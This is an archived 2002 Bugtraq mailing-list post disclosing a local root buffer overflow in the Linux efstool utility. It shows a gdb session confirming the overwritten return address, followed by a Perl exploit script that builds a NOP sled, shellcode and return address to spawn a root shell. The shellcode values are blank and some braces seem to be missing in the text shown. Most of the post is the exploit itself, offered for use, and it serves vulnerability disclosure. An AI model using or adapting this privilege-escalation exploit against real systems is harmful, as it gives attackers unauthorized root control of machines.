Home page logo

bugtraq logo Bugtraq mailing list archives

efstool local root exploit
From: <clorox () ptrace-networks net>
Date: 28 Jun 2002 00:46:39 -0000

 Ptrace Networks Security

An error in the efstool program on redhat, mandrake, and slackware
is able to be successfully exploited through a buffer overflow.

[clorox () ptnw clorox]$ efstool `perl -e 'print "A" x 3000'`
Segmentation fault
[clorox () ptnw clorox]$ gdb efstool
GNU gdb 5.1.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you 
welcome to change it and/or distribute copies of it under certain 
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...(no debugging symbols 
(gdb) r `perl -e 'print "A" x 3000'`
Starting program: /usr/bin/efstool `perl -e 'print "A" x 3000'`
(no debugging symbols found)...(no debugging symbols found)...(no 
debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp            0xbfffe890    0xbfffe890

# efstool root exploit
# written by clorox of Ptrac Networks for BKACC(Bored Kids At ComputerCamp)
# give the campers internet grogan!
# tested to work on slackware 8, mandrake 8, mandrake 7.1
# tweaks may be needed on the offset
# method 1 works more often but
# method 2 is faster but not too good
# enjoy -clorox
# perl efs.pl -1000

$shellcode =

$shellcode2 =

$ret = "0xbfffe890";
$offset = $ARGV[0];
$nop = "\x90";

if ($ARGV[1] eq "m1") {
        $len = 3000;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        $buffer .= $shellcode;
} elsif ($ARGV[1] eq "m2") {
        $len = 10010;
        for ($i = 0; $i < ($len - length($shellcode)); $i++) {
                $buffer .= $nop;
        $buffer .= $shellcode2;
} else {
        print "You must specify a method fool!\n";
        print "perl $0 <offset> m1 or m2\n";

$buffer .= pack('l', ($ret + $offset));
$buffer .= pack('l', ($ret + $offset));
exec("efstool $buffer");
# and on the seventh day clorox said "LET THERE BE SHELL!"

and on a personal note,
grogan, or any other admins of ceboston, the campers here deserve internet 
in our rooms, the computer labs arent condusive to doing research. as you 
can see we would use it for positive things such as posting to bug traq if 
you read this and want to talk it over talk to me im in room 105 in new 


  By Date           By Thread  

Current thread:
  • efstool local root exploit clorox (Jun 29)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]